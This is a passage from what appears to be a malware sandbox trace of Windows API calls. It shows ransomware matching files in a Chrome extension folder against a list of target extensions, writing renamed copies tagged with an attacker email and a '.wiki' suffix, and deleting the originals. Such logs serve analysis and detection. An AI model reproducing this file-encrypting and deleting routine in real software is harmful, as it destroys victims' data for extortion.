lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0175.533] SetEndOfFile (hFile=0x2dc) returned 1 [0175.533] CloseHandle (hObject=0x2dc) returned 1 [0175.534] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.534] SetEndOfFile (hFile=0x19c) returned 1 [0175.534] CloseHandle (hObject=0x19c) returned 1 [0175.534] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.535] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js")) returned 1 [0175.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.535] lstrlenW (lpString=".doc") returned 4 [0175.535] lstrcmpiW (lpString1=".doc", lpString2="d.js") returned -1 [0175.535] lstrlenW (lpString=".docx") returned 5 [0175.535] lstrcmpiW (lpString1=".docx", lpString2="od.js") returned -1 [0175.535] lstrlenW (lpString=".pdf") returned 4 [0175.535] lstrcmpiW (lpString1=".pdf", lpString2="d.js") returned -1 [0175.535] lstrlenW (lpString=".xls") returned 4 [0175.535] lstrcmpiW (lpString1=".xls", lpString2="d.js") returned -1 [0175.535] lstrlenW (lpString=".xlsx") returned 5 [0175.535] lstrcmpiW (lpString1=".xlsx", lpString2="od.js") returned -1 [0175.535] lstrlenW (lpString=".ppt") returned 4 [0175.535] lstrcmpiW (lpString1=".ppt", lpString2="d.js") returned -1 [0175.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.535] lstrlenW (lpString=".zip") returned 4 [0175.535] lstrcmpiW (lpString1=".zip", lpString2="d.js") returned -1 [0175.535] lstrlenW (lpString=".rar") returned 4 [0175.535] lstrcmpiW (lpString1=".rar", lpString2="d.js") returned -1 [0175.535] lstrlenW (lpString=".bz2") returned 4 [0175.536] lstrcmpiW (lpString1=".bz2", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString=".7z") returned 3 [0175.536] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.536] lstrlenW (lpString=".dbf") returned 4 [0175.536] lstrcmpiW (lpString1=".dbf", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.536] lstrlenW (lpString=".1cd") returned 4 [0175.536] lstrcmpiW (lpString1=".1cd", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.536] lstrlenW (lpString=".jpg") returned 4 [0175.536] lstrcmpiW (lpString1=".jpg", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.536] lstrlenW (lpString=".doc") returned 4 [0175.536] lstrcmpiW (lpString1=".doc", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString=".docx") returned 5 [0175.536] lstrcmpiW (lpString1=".docx", lpString2="od.js") returned -1 [0175.536] lstrlenW (lpString=".pdf") returned 4 [0175.536] lstrcmpiW (lpString1=".pdf", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString=".xls") returned 4 [0175.536] lstrcmpiW (lpString1=".xls", lpString2="d.js") returned -1 [0175.536] lstrlenW (lpString=".xlsx") returned 5 [0175.536] lstrcmpiW (lpString1=".xlsx", lpString2="od.js") returned -1 [0175.536] lstrlenW (lpString=".ppt") returned 4 [0175.536] lstrcmpiW (lpString1=".ppt", lpString2="d.js") returned -1 [0175.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.537] lstrlenW (lpString=".zip") returned 4 [0175.537] lstrcmpiW (lpString1=".zip", lpString2="d.js") returned -1 [0175.537] lstrlenW (lpString=".rar") returned 4 [0175.537] lstrcmpiW (lpString1=".rar", lpString2="d.js") returned -1 [0175.537] lstrlenW (lpString=".bz2") returned 4 [0175.537] lstrcmpiW (lpString1=".bz2", lpString2="d.js") returned -1 [0175.537] lstrlenW (lpString=".7z") returned 3 [0175.537] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.537] lstrlenW (lpString=".dbf") returned 4 [0175.537] lstrcmpiW (lpString1=".dbf", lpString2="d.js") returned -1 [0175.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.537] lstrlenW (lpString=".1cd") returned 4 [0175.537] lstrcmpiW (lpString1=".1cd", lpString2="d.js") returned -1 [0175.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 147 [0175.537] lstrlenW (lpString=".jpg") returned 4 [0175.537] lstrcmpiW (lpString1=".jpg", lpString2="d.js") returned -1 [0175.537] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.537] lstrlenW (lpString="manifest.json") returned 13 [0175.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.538] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1457) returned 1 [0175.538] CloseHandle (hObject=0x19c) returned 1 [0175.538] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json")) returned 0x2020 [0175.538] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.538] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.538] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.643] GetLastError () returned 0x0 [0175.644] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0175.645] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0175.646] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.646] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.646] SetEndOfFile (hFile=0x2dc) returned 1 [0175.646] CloseHandle (hObject=0x2dc) returned 1 [0175.646] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.646] SetEndOfFile (hFile=0x19c) returned 1 [0175.647] CloseHandle (hObject=0x19c) returned 1 [0175.647] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.647] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json")) returned 1 [0175.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.648] lstrlenW (lpString=".doc") returned 4 [0175.648] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.648] lstrlenW (lpString=".docx") returned 5 [0175.648] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.648] lstrlenW (lpString=".pdf") returned 4 [0175.648] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.648] lstrlenW (lpString=".xls") returned 4 [0175.648] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.648] lstrlenW (lpString=".xlsx") returned 5 [0175.648] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.648] lstrlenW (lpString=".ppt") returned 4 [0175.648] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.648] lstrlenW (lpString=".zip") returned 4 [0175.648] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.648] lstrlenW (lpString=".rar") returned 4 [0175.648] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.648] lstrlenW (lpString=".bz2") returned 4 [0175.648] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.648] lstrlenW (lpString=".7z") returned 3 [0175.648] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.648] lstrlenW (lpString=".dbf") returned 4 [0175.649] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.649] lstrlenW (lpString=".1cd") returned 4 [0175.649] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.649] lstrlenW (lpString=".jpg") returned 4 [0175.649] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.649] lstrlenW (lpString=".doc") returned 4 [0175.649] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.649] lstrlenW (lpString=".docx") returned 5 [0175.649] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.649] lstrlenW (lpString=".pdf") returned 4 [0175.649] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.649] lstrlenW (lpString=".xls") returned 4 [0175.649] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.649] lstrlenW (lpString=".xlsx") returned 5 [0175.649] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.649] lstrlenW (lpString=".ppt") returned 4 [0175.650] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.650] lstrlenW (lpString=".zip") returned 4 [0175.650] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.650] lstrlenW (lpString=".rar") returned 4 [0175.650] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.650] lstrlenW (lpString=".bz2") returned 4 [0175.650] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.650] lstrlenW (lpString=".7z") returned 3 [0175.650] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.650] lstrlenW (lpString=".dbf") returned 4 [0175.650] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.650] lstrlenW (lpString=".1cd") returned 4 [0175.650] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.650] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 139 [0175.650] lstrlenW (lpString=".jpg") returned 4 [0175.650] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.650] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.650] lstrlenW (lpString="messages.json") returned 13 [0175.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.651] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=167) returned 1 [0175.651] CloseHandle (hObject=0x19c) returned 1 [0175.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json")) returned 0x2020 [0175.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.651] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.651] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.652] GetLastError () returned 0x0 [0175.652] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xa7, lpOverlapped=0x0) returned 1 [0175.653] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0175.653] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.653] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.654] SetEndOfFile (hFile=0x2dc) returned 1 [0175.654] CloseHandle (hObject=0x2dc) returned 1 [0175.654] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.654] SetEndOfFile (hFile=0x19c) returned 1 [0175.655] CloseHandle (hObject=0x19c) returned 1 [0175.655] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.655] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json")) returned 1 [0175.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.655] lstrlenW (lpString=".doc") returned 4 [0175.655] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.655] lstrlenW (lpString=".docx") returned 5 [0175.655] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.655] lstrlenW (lpString=".pdf") returned 4 [0175.655] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.655] lstrlenW (lpString=".xls") returned 4 [0175.655] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.655] lstrlenW (lpString=".xlsx") returned 5 [0175.655] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.655] lstrlenW (lpString=".ppt") returned 4 [0175.655] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.655] lstrlenW (lpString=".zip") returned 4 [0175.655] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.656] lstrlenW (lpString=".rar") returned 4 [0175.656] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.656] lstrlenW (lpString=".bz2") returned 4 [0175.656] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.656] lstrlenW (lpString=".7z") returned 3 [0175.656] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.656] lstrlenW (lpString=".dbf") returned 4 [0175.656] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.656] lstrlenW (lpString=".1cd") returned 4 [0175.656] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 